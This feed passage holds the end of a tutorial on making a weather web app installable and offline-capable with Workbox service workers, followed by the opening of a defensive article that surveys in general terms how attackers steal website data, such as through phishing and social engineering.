  <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"apple-touch-startup-image"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"images/assets/apple-splash-2732-2048.jpg"</span> <span class="hljs-attr">media</span>=<span class="hljs-string">"(device-width: 1024px) and (device-height: 1366px) and (orientation: landscape)"</span>&gt;</span>
  <span class="hljs-comment">&lt;!-- ...more splash screen tags for various devices... --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
</code></pre>
<p>Here’s how the <code>manifest.json</code> file should look like now:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Weatherly"</span>,
    <span class="hljs-attr">"short_name"</span>: <span class="hljs-string">"Weatherly"</span>,
    <span class="hljs-attr">"description"</span>: <span class="hljs-string">"A simple weather Progressive Web App"</span>,
    <span class="hljs-attr">"start_url"</span>: <span class="hljs-string">"/index.html"</span>,
    <span class="hljs-attr">"display"</span>: <span class="hljs-string">"standalone"</span>,
    <span class="hljs-attr">"background_color"</span>: <span class="hljs-string">"#ffffff"</span>,
    <span class="hljs-attr">"theme_color"</span>: <span class="hljs-string">"#2196f3"</span>,
    <span class="hljs-attr">"orientation"</span>: <span class="hljs-string">"portrait"</span>,
    <span class="hljs-attr">"icons"</span>: [
        [
            {
              <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/assets/manifest-icon-192.maskable.png"</span>,
              <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"192x192"</span>,
              <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
              <span class="hljs-attr">"purpose"</span>: <span class="hljs-string">"any"</span>
            },
            {
              <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/assets/manifest-icon-192.maskable.png"</span>,
              <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"192x192"</span>,
              <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
              <span class="hljs-attr">"purpose"</span>: <span class="hljs-string">"maskable"</span>
            },
            {
              <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/assets/manifest-icon-512.maskable.png"</span>,
              <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"512x512"</span>,
              <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
              <span class="hljs-attr">"purpose"</span>: <span class="hljs-string">"any"</span>
            },
            {
              <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/assets/manifest-icon-512.maskable.png"</span>,
              <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"512x512"</span>,
              <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
              <span class="hljs-attr">"purpose"</span>: <span class="hljs-string">"maskable"</span>
            }
          ]
        ],
    <span class="hljs-attr">"screenshots"</span>: [
        {
          <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/screenshots/desktop-screenshot.png"</span>,
          <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"1337x645"</span>,
          <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
          <span class="hljs-attr">"form_factor"</span>: <span class="hljs-string">"wide"</span>
        },
        {
          <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/screenshots/mobile-screenshot.png"</span>,
          <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"720x1417"</span>,
          <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
          <span class="hljs-attr">"form_factor"</span>: <span class="hljs-string">"narrow"</span>
        }
      ]
    }
</code></pre>
<p>You can then link your manifest file to your HTML file:</p>
<pre><code class="lang-json">&lt;link rel=<span class="hljs-string">"manifest"</span> href=<span class="hljs-string">"manifest.json"</span> /&gt;
</code></pre>
<h2 id="heading-how-to-add-workbox-to-your-service-workerjs-file">How to Add WorkBox to Your <code>service-worker.js</code> File</h2>
<p>In this tutorial, WorkBox will be added to <code>index.html</code> via CDN. You can copy the import code below or visit WorkBox to get the link. You can then add it to the <code>index.html</code> file by placing the URL inside a <code>&lt;script&gt;</code> tag. You can copy the import code below or visit the WorkBox website for the latest link.</p>
<pre><code class="lang-javascript">importScripts(<span class="hljs-string">'https://storage.googleapis.com/workbox-cdn/releases/6.5.4/workbox-sw.js'</span>);
</code></pre>
<h2 id="heading-how-to-create-your-service-worker-in-the-service-workerjs-file">How to Create your Service Worker in the <code>service-worker.js</code> File</h2>
<p>Here, we’ll implement the necessary functionalities needed to make the weather app a PWA</p>
<h3 id="heading-step-1-activate-the-new-service-worker-immediately"><strong>Step 1:</strong> Activate the New Service Worker Immediately</h3>
<p>Add <code>workbox.core.skipWaiting()</code> to make the newly installed service worker activate right away instead of waiting for the old one to be removed in the <code>service-worker.js</code> file.</p>
<pre><code class="lang-javascript">workbox.core.skipWaiting();
</code></pre>
<h3 id="heading-step-2-take-control-of-open-tabs"><strong>Step 2:</strong> Take Control of Open Tabs</h3>
<p>Add <code>workbox.core.clientsClaim()</code> to ensure that the activated service worker takes control of all currently open pages, so the latest version of your app works immediately across all tabs after it becomes active.</p>
<pre><code class="lang-javascript">workbox.core.clientsClaim();
</code></pre>
<h3 id="heading-step-3-check-if-workbox-is-loaded">Step 3: Check if Workbox is Loaded</h3>
<p>Before using Workbox, make sure it has loaded properly.</p>
<pre><code class="lang-js"><span class="hljs-keyword">if</span> (workbox) {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Workbox loaded successfully'</span>);
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Workbox failed to load'</span>);
}
</code></pre>
<p>This confirms that the <code>workbox</code> object is available and ready to use. If not, the fallback message in the <code>else</code> block will be shown.</p>
<p>We then proceed to create the functions inside the <code>if</code> block</p>
<h3 id="heading-step-4-pre-cache-core-files">Step 4: Pre-cache Core Files</h3>
<p>Pre-cache essential files enable your app to work offline. This caches your app shell (HTML, CSS, JS), so it loads even without a network connection.</p>
<pre><code class="lang-js">workbox.precaching.precacheAndRoute([
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/index.html'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'3'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/style.css'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'11'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/app.js'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'7'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/images/logo.png'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'3'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/manifest.json'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'5'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/offline.html'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'1'</span> },
  ]);
</code></pre>
<p>The <code>revision</code> helps with updating cached files when changes are made.</p>
<h3 id="heading-step-5-cache-api-responses-dynamically">Step 5: Cache API Responses Dynamically</h3>
<p>Set up a route to cache data from your weather API using the <code>NetworkFirst</code> caching strategy. This tells Workbox to try fetching fresh data from the network first. If the network fails, it serves the cached version instead.</p>
<pre><code class="lang-js"> <span class="hljs-comment">// Cache API requests </span>
  workbox.routing.registerRoute(
    <span class="hljs-function">(<span class="hljs-params">{ url }</span>) =&gt;</span> url.origin === <span class="hljs-string">'https://api.openweathermap.org'</span>,
    <span class="hljs-keyword">new</span> workbox.strategies.NetworkFirst({
      <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'weather-api-cache'</span>,
      <span class="hljs-attr">plugins</span>: [
        <span class="hljs-keyword">new</span> workbox.expiration.ExpirationPlugin({
          <span class="hljs-attr">maxAgeSeconds</span>: <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>,
          <span class="hljs-attr">maxEntries</span>: <span class="hljs-number">10</span>,
        }),
      ],
    })
  );
</code></pre>
<h3 id="heading-step-6-dynamic-image-caching">Step 6: Dynamic Image Caching</h3>
<p>This function enables dynamic caching for images using the <code>StaleWhileRevalidate</code> strategy. When a user requests an image, Workbox first serves it from the cache (if available) for faster load times, while simultaneously fetching an updated version from the network to refresh the cache. This ensures users get a quick response without missing out on updated content. It’s a smart way to handle images by balancing speed and freshness.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Cache images</span>
  workbox.routing.registerRoute(
    <span class="hljs-function">(<span class="hljs-params">{ request }</span>) =&gt;</span> request.destination === <span class="hljs-string">'image'</span>,
    <span class="hljs-keyword">new</span> workbox.strategies.StaleWhileRevalidate({
      <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'image-cache'</span>,
    })
  );
</code></pre>
<h3 id="heading-step-7-serve-cached-resources">Step 7: Serve Cached Resources</h3>
<p>The commonly used static files (like HTML, CSS, JS, fonts, and so on) are served quickly from the cache. It uses the <code>CacheFirst</code> strategy, meaning that the service worker will look in the cache first and only fetch from the network if the file isn’t already stored. The cache is named <code>"static-cache"</code> and it’s set to automatically remove items older than seven days using the <code>expiration</code> plugin. This helps keep the cache fresh and avoids taking up too much space.</p>
<pre><code class="lang-javascript">  <span class="hljs-comment">// Serve Cached Resources </span>
  workbox.routing.registerRoute(
    <span class="hljs-function">(<span class="hljs-params">{url}</span>) =&gt;</span> url.origin === self.location.origin,  
    <span class="hljs-keyword">new</span> workbox.strategies.CacheFirst({
      <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'static-cache'</span>,  
      <span class="hljs-attr">plugins</span>: [
        <span class="hljs-keyword">new</span> workbox.expiration.ExpirationPlugin({
          <span class="hljs-attr">maxAgeSeconds</span>: <span class="hljs-number">7</span> * <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>,  <span class="hljs-comment">// Cache static resources for 7 days</span>
        }),
      ],
    })
  );
</code></pre>
<h3 id="heading-step-8-cache-html-pages-with-offline-support"><strong>Step 8: Cache</strong> HTML Pages with Offline Support</h3>
<p>The <code>index.html</code> page will be handled using the NetworkFirst strategy. This means that the service worker tries to fetch the latest version from the network first. If the user is offline or the network fails, it falls back to the cached version. The cache is named <code>"pages-cache"</code> and the offline fallback page (<code>offline.html</code>) is returned when the requested page isn’t available. This ensures that users can still navigate the app even without an internet connection.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Serve HTML pages with Network First and offline fallback</span>
workbox.routing.registerRoute(
  <span class="hljs-function">(<span class="hljs-params">{ request }</span>) =&gt;</span> request.mode === <span class="hljs-string">'navigate'</span>,
  <span class="hljs-keyword">async</span> ({ event }) =&gt; {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> workbox.strategies.networkFirst({
        <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'pages-cache'</span>,
        <span class="hljs-attr">plugins</span>: [
          <span class="hljs-keyword">new</span> workbox.expiration.ExpirationPlugin({
            <span class="hljs-attr">maxEntries</span>: <span class="hljs-number">50</span>,
          }),
        ],
      }).handle({ event });
      <span class="hljs-keyword">return</span> response || <span class="hljs-keyword">await</span> caches.match(<span class="hljs-string">'/offline.html'</span>);
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> caches.match(<span class="hljs-string">'/offline.html'</span>);
    }
  }
);
</code></pre>
<h3 id="heading-step-9-handle-when-workbox-doesnt-load">Step 9: Handle When Workbox Doesn’t Load</h3>
<p>You should always provide a fallback in case something goes wrong. The <code>if</code> block will have an <code>else</code> block to catch issues during development and debugging.</p>
<pre><code class="lang-js"><span class="hljs-keyword">else</span> {
     <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Workbox failed to load'</span>);
}
</code></pre>
<p>Once the service worker finishes handling the different conditions in the <code>if-else</code> block, we add a general cleanup step to remove any outdated or unused caches.</p>
<h3 id="heading-step-10-clean-up-outdated-caches"><strong>Step 10:</strong> Clean Up Outdated Caches</h3>
<p>During the service worker's activation phase, old or unused caches are removed. It compares all existing cache names with a list of current ones (<code>precache</code>, <code>weather-api-cache</code>, <code>image-cache</code>, <code>pages-cache</code>, and <code>static-resources</code>). If a cache doesn’t match the current list, it gets deleted. This helps keep the app lightweight and ensures that outdated data doesn't persist.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Clean up old/unused caches during activation</span>
self.addEventListener(<span class="hljs-string">'activate'</span>, <span class="hljs-function"><span class="hljs-params">event</span> =&gt;</span> {
  <span class="hljs-keyword">const</span> currentCaches = [
    workbox.core.cacheNames.precache,
    <span class="hljs-string">'weather-api-cache'</span>,
    <span class="hljs-string">'image-cache'</span>,
    <span class="hljs-string">'pages-cache'</span>,
    <span class="hljs-string">'static-cache'</span>
  ];

  event.waitUntil(
    caches.keys().then(<span class="hljs-function"><span class="hljs-params">cacheNames</span> =&gt;</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-built_in">Promise</span>.all(
        cacheNames.map(<span class="hljs-function"><span class="hljs-params">cacheName</span> =&gt;</span> {
          <span class="hljs-keyword">if</span> (!currentCaches.includes(cacheName)) {
            <span class="hljs-keyword">return</span> caches.delete(cacheName);
          }
        })
      );
    })
  );
});
</code></pre>
<p>This is what your <code>service-worker.js</code> file should look like:</p>
<pre><code class="lang-javascript">importScripts(<span class="hljs-string">'https://storage.googleapis.com/workbox-cdn/releases/6.5.4/workbox-sw.js'</span>);

<span class="hljs-comment">// Force waiting service worker to become active</span>
workbox.core.skipWaiting();
workbox.core.clientsClaim();

<span class="hljs-keyword">if</span> (workbox) {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Workbox loaded successfully'</span>);

  <span class="hljs-comment">// Precache critical files with revisions (update revisions when files change)</span>
  workbox.precaching.precacheAndRoute([
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/index.html'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'3'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/style.css'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'11'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/app.js'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'7'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/images/logo.png'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'3'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/manifest.json'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'5'</span> },
    { <span class="hljs-attr">url</span>: <span class="hljs-string">'/offline.html'</span>, <span class="hljs-attr">revision</span>: <span class="hljs-string">'1'</span> },
  ]);

  <span class="hljs-comment">// Cache API requests </span>
  workbox.routing.registerRoute(
    <span class="hljs-function">(<span class="hljs-params">{ url }</span>) =&gt;</span> url.origin === <span class="hljs-string">'https://api.openweathermap.org'</span>,
    <span class="hljs-keyword">new</span> workbox.strategies.NetworkFirst({
      <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'weather-api-cache'</span>,
      <span class="hljs-attr">plugins</span>: [
        <span class="hljs-keyword">new</span> workbox.expiration.ExpirationPlugin({
          <span class="hljs-attr">maxAgeSeconds</span>: <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>,
          <span class="hljs-attr">maxEntries</span>: <span class="hljs-number">10</span>,
        }),
      ],
    })
  );

  <span class="hljs-comment">// Cache images</span>
  workbox.routing.registerRoute(
    <span class="hljs-function">(<span class="hljs-params">{ request }</span>) =&gt;</span> request.destination === <span class="hljs-string">'image'</span>,
    <span class="hljs-keyword">new</span> workbox.strategies.StaleWhileRevalidate({
      <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'image-cache'</span>,
    })
  );

    <span class="hljs-comment">// Serve Cached Resources </span>
  workbox.routing.registerRoute(
    <span class="hljs-function">(<span class="hljs-params">{url}</span>) =&gt;</span> url.origin === self.location.origin,  
    <span class="hljs-keyword">new</span> workbox.strategies.CacheFirst({
      <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'static-cache'</span>,  
      <span class="hljs-attr">plugins</span>: [
        <span class="hljs-keyword">new</span> workbox.expiration.ExpirationPlugin({
          <span class="hljs-attr">maxAgeSeconds</span>: <span class="hljs-number">7</span> * <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>,  <span class="hljs-comment">// Cache static resources for 7 days</span>
        }),
      ],
    })
  );

  <span class="hljs-comment">// Serve HTML pages with Network First and offline fallback</span>
workbox.routing.registerRoute(
  <span class="hljs-function">(<span class="hljs-params">{ request }</span>) =&gt;</span> request.mode === <span class="hljs-string">'navigate'</span>,
  <span class="hljs-keyword">async</span> ({ event }) =&gt; {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> workbox.strategies.networkFirst({
        <span class="hljs-attr">cacheName</span>: <span class="hljs-string">'pages-cache'</span>,
        <span class="hljs-attr">plugins</span>: [
          <span class="hljs-keyword">new</span> workbox.expiration.ExpirationPlugin({
            <span class="hljs-attr">maxEntries</span>: <span class="hljs-number">50</span>,
          }),
        ],
      }).handle({ event });
      <span class="hljs-keyword">return</span> response || <span class="hljs-keyword">await</span> caches.match(<span class="hljs-string">'/offline.html'</span>);
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> caches.match(<span class="hljs-string">'/offline.html'</span>);
    }
  }
);
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Workbox failed to load'</span>);
}

<span class="hljs-comment">// Clean up old/unused caches during activation</span>
self.addEventListener(<span class="hljs-string">'activate'</span>, <span class="hljs-function"><span class="hljs-params">event</span> =&gt;</span> {
  <span class="hljs-keyword">const</span> currentCaches = [
    workbox.core.cacheNames.precache,
    <span class="hljs-string">'weather-api-cache'</span>,
    <span class="hljs-string">'image-cache'</span>,
    <span class="hljs-string">'pages-cache'</span>,
    <span class="hljs-string">'static-cache'</span>
  ];

  event.waitUntil(
    caches.keys().then(<span class="hljs-function"><span class="hljs-params">cacheNames</span> =&gt;</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-built_in">Promise</span>.all(
        cacheNames.map(<span class="hljs-function"><span class="hljs-params">cacheName</span> =&gt;</span> {
          <span class="hljs-keyword">if</span> (!currentCaches.includes(cacheName)) {
            <span class="hljs-keyword">return</span> caches.delete(cacheName);
          }
        })
      );
    })
  );
});
</code></pre>
<h2 id="heading-how-to-set-up-app-installation">How to Set Up App Installation</h2>
<p>The code to install the app will be written in <code>install.js</code> following the steps below:</p>
<h3 id="heading-step-1-register-the-service-worker"><strong>Step 1:</strong> Register the Service Worker</h3>
<p>Register the service worker to activate and run it in your app.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">if</span>(<span class="hljs-string">'serviceWorker'</span> <span class="hljs-keyword">in</span> navigator){
    <span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'load'</span>, <span class="hljs-function">() =&gt;</span> {
      navigator.serviceWorker.register(<span class="hljs-string">'/service-worker.js'</span>).then(<span class="hljs-function"><span class="hljs-params">reg</span> =&gt;</span> {
        reg.onupdatefound = <span class="hljs-function">() =&gt;</span> {
          <span class="hljs-keyword">const</span> newWorker = reg.installing;
          newWorker.onstatechange = <span class="hljs-function">() =&gt;</span> {
            <span class="hljs-keyword">if</span> (newWorker.state === <span class="hljs-string">'installed'</span> &amp;&amp; navigator.serviceWorker.controller) {
              <span class="hljs-built_in">window</span>.location.reload();
            }
          };
        };
      });
    })
 }
</code></pre>
<h3 id="heading-step-2-enable-custom-install-prompt">Step 2: Enable Custom Install Prompt</h3>
<p>Next, we will allow users to install the weather PWA with a custom button. Inside the <code>install.js</code>file, add the <code>beforeinstallprompt</code> event which intercepts the default prompt and shows your install button instead. When clicked, it triggers the install prompt.</p>
<pre><code class="lang-javascript">
  <span class="hljs-keyword">let</span> deferredPrompt;

<span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">'DOMContentLoaded'</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-keyword">const</span> installBtn = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'installBtn'</span>);

  <span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'beforeinstallprompt'</span>, <span class="hljs-function">(<span class="hljs-params">e</span>) =&gt;</span> {
    e.preventDefault();
    deferredPrompt = e;

    <span class="hljs-comment">// Show the button</span>
    installBtn.style.display = <span class="hljs-string">'block'</span>;

    installBtn.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-comment">// Directly triggered by user click</span>
      installBtn.style.display = <span class="hljs-string">'none'</span>;

      <span class="hljs-comment">// Show the install prompt</span>
      deferredPrompt.prompt();

      deferredPrompt.userChoice.then(<span class="hljs-function">(<span class="hljs-params">choiceResult</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (choiceResult.outcome === <span class="hljs-string">'accepted'</span>) {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'User accepted the install prompt'</span>);
        } <span class="hljs-keyword">else</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'User dismissed the install prompt'</span>);
        }
        deferredPrompt = <span class="hljs-literal">null</span>;
      });
    });
  });
</code></pre>
<p>The <code>appinstalled</code> event confirms successful installation.</p>
<pre><code class="lang-javascript">
<span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'appinstalled'</span>, <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'PWA was installed'</span>);
  });
});
</code></pre>
<h3 id="heading-step-3-add-script-tag-to-import-installjs-in-indexhtml">Step 3: Add script tag to import <code>install.js</code> in <code>index.html</code></h3>
<p>Add the <code>&lt;script&gt;</code> tag for <code>install.js</code> inside the <code>index.html</code> file to include the installation logic.</p>
<pre><code class="lang-xml"> <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"module"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"/js/install.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<h2 id="heading-how-to-install-the-weather-app">How to Install the Weather App</h2>
<p>You can choose to install the Weatherly app on your phone or desktop. Below is a demonstration on how to install it on your mobile phone:</p>
<p>Open the <a target="_blank" href="https://weatherly-taupe-two.vercel.app/">Weatherly</a> app in your browser. You should see an <strong>“Install App”</strong> button, as shown in the image below. Click on the button to continue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747272209446/2ade0ad7-eda5-46df-b443-a1efce90003b.png" alt="Weatherly app interface showing Install App button along with city search field, location services, and Tokyo weather history" class="image--center mx-auto" width="720" height="1318" loading="lazy"></p>
<p>After clicking, a preview of the app will appear along with an <strong>“Install”</strong> option, as shown below. Click the Install button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748387183047/b6be3b6c-6550-4c94-a453-eb928cc70dbe.png" alt="Browser PWA installation dialog showing Weatherly app preview with Install button and app description." class="image--center mx-auto" width="720" height="1299" loading="lazy"></p>
<p>Once the installation is complete, the Weatherly app will appear on your home screen, just like a native app. And that’s it! Your weather app is now a Progressive Web App (PWA).</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Progressive Web Apps combine the best of web and native app experiences, and service workers are the backbone of that functionality. With tools like Workbox, you don’t have to worry about manually handling caching, offline support, or background sync. Its simple APIs and built-in strategies make it easier to build fast, reliable, and installable web apps. Whether it’s a small weather app like <a target="_blank" href="https://weatherly-pwa.vercel.app/">Weatherly</a> or a more complex project, Workbox helps you deliver a seamless user experience.</p>
<p>You can check out the full project and assets on <a target="_blank" href="https://github.com/LolaVictoria/weatherly">GitHub</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Attackers Steal Data from Websites (And How to Stop Them) ]]>
                </title>
                <description>
                    <![CDATA[ Across platforms, behind every app, and on your own website, hackers may patiently wait.  These days, everyone should have identity theft protections, and be informed about data threats lurking in the trenches of the world-wide-web’s war on privacy a... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-attackers-steal-data-from-websites-and-how-to-stop-them/</link>
                <guid isPermaLink="false">6849e4d1a3aec42347669919</guid>
                
                    <category>
                        <![CDATA[ websecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SQL ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Wed, 11 Jun 2025 20:19:29 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748376908250/fabf8346-d3fb-47ff-940b-f30b6e476ca5.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Across platforms, behind every app, and on your own website, hackers may patiently wait. </p>
<p>These days, everyone should have identity theft protections, and be informed about data threats lurking in the trenches of the world-wide-web’s war on privacy and personal information. To prevent hacks, reduce liabilities, and keep information secure, you should know how hackers steal data from websites.</p>
<p>When your precious data is taken, sold, and circulated, the damage is not nearly done. Unlike stolen items, data theft opens up new frightening risks: weeks of auditing, months of new expenses, years of legal consequences, on and on. Stolen website data burns people, steals identities, and hurts businesses.</p>
<p>More than ever, website data theft sustains a torrential stream of new class action lawsuits. Even with careful design and strong <a target="_blank" href="https://www.flowlu.com/blog/productivity/growing-a-team-with-a-strong-focus-on-security-and-compliance/">internal security practices</a> like employee training and compliance protocols, <a target="_blank" href="https://termly.io/resources/articles/biggest-data-breaches/">website data breaches</a> continue to escalate.</p>
<p>Companies, developers, and users all endure the sting of the data breach. News and social media storms publicize the horror of these "heists." Steel-faced cybersecurity starts with knowing hackers’ modes of attack.</p>
<p>In this article, we'll explore common ways that attackers steal data, as well as a step-by-step plan you can use to enhance your website’s security.</p>
<h3 id="heading-what-well-cover">What we’ll cover:</h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-phishing-and-social-engineering">1. Phishing and Social Engineering</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-sql-injection-xss-and-csrf">2. SQL Injection, XSS, and CSRF</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-brute-force-password-attacks">3. Brute Force Password Attacks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-malware-and-malicious-scripts">4. Malware and Malicious Scripts</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-5-man-in-the-middle-attacks-and-public-connections">5. Man-in-the-Middle Attacks and Public Connections</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-6-outdated-software-and-old-plugins">6. Outdated Software and Old Plugins</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-7-apis-integrations-and-third-party-attacks">7. APIs, Integrations, and Third-Party Attacks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-where-the-dark-web-dumps-your-data">Where the Dark Web Dumps Your Data</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-defend-your-data">Defend Your Data</a></p>
</li>
</ul>
<p>Hackers employ various tactics to deceive users and exploit website vulnerabilities.</p>
<p>From phishing schemes to aiming to exploit outdated design elements, your first line of defense will be knowing the hacker's most predictable methods.</p>
<p>Here are some of the most common types of attacks:</p>
<ul>
<li><p><strong>High-risk credentials</strong>: Sellers organize credentials by platform – like email, banking, social, and so on – and sell batches of these details in bulk.</p>
</li>
<li><p><strong>Identity fraud:</strong> From a dark web identity, attackers could get everything needed to impersonate you (name, birthdate, SSN, address, home title, and more).</p>
</li>
<li><p><strong>Data trading</strong>: Hackers test email, phone, password details across many platforms to capture valuable information and co-opt accounts.</p>
</li>
<li><p><strong>Individual extortion</strong>: Sensitive formats – like private messages, images, or financial records – can be used against victims of data theft as blackmail.</p>
</li>
</ul>
<p>Now let’s take a deeper look into some specific scams and how to protect yourself against them.</p>
<h2 id="heading-1-phishing-and-social-engineering">1. Phishing and Social Engineering</h2>
<p>Phishing and social engineering attacks rely on tricking people, not just machines.</p>
<p>Attackers pose as trusted contacts or organizations and try to manipulate users into revealing sensitive information or performing risky actions. These attacks can come through convincing emails, text messages, and even <a target="_blank" href="https://www.cloudtalk.io/blog/5-common-voip-security-risks-that-might-threaten-your-business/">VoIP phone calls</a>. Some even use AI in call center operations to sound more legitimate.</p>
<ul>
<li><p><strong>Phishing</strong> tricks users into revealing sensitive passwords and information by posing as a trustworthy website.</p>
</li>
<li><p><strong>Social engineering</strong> manipulates people to share personal information and lower cybersecurity defenses.</p>
</li>
</ul>
<p>More advanced attempts to steal data are described as spear-phishing or "BEC" (business email compromise).</p>
<ul>
<li><p><strong>Spear-phishing</strong> targets individuals with attacks designed for specific individuals or groups.</p>
</li>
<li><p><strong>Business Email Compromise (BEC)</strong> impersonates executives to request or authorize fraudulent transactions.</p>
</li>
</ul>
<p>Here’s an example of a phishing email that may land in your inbox:</p>
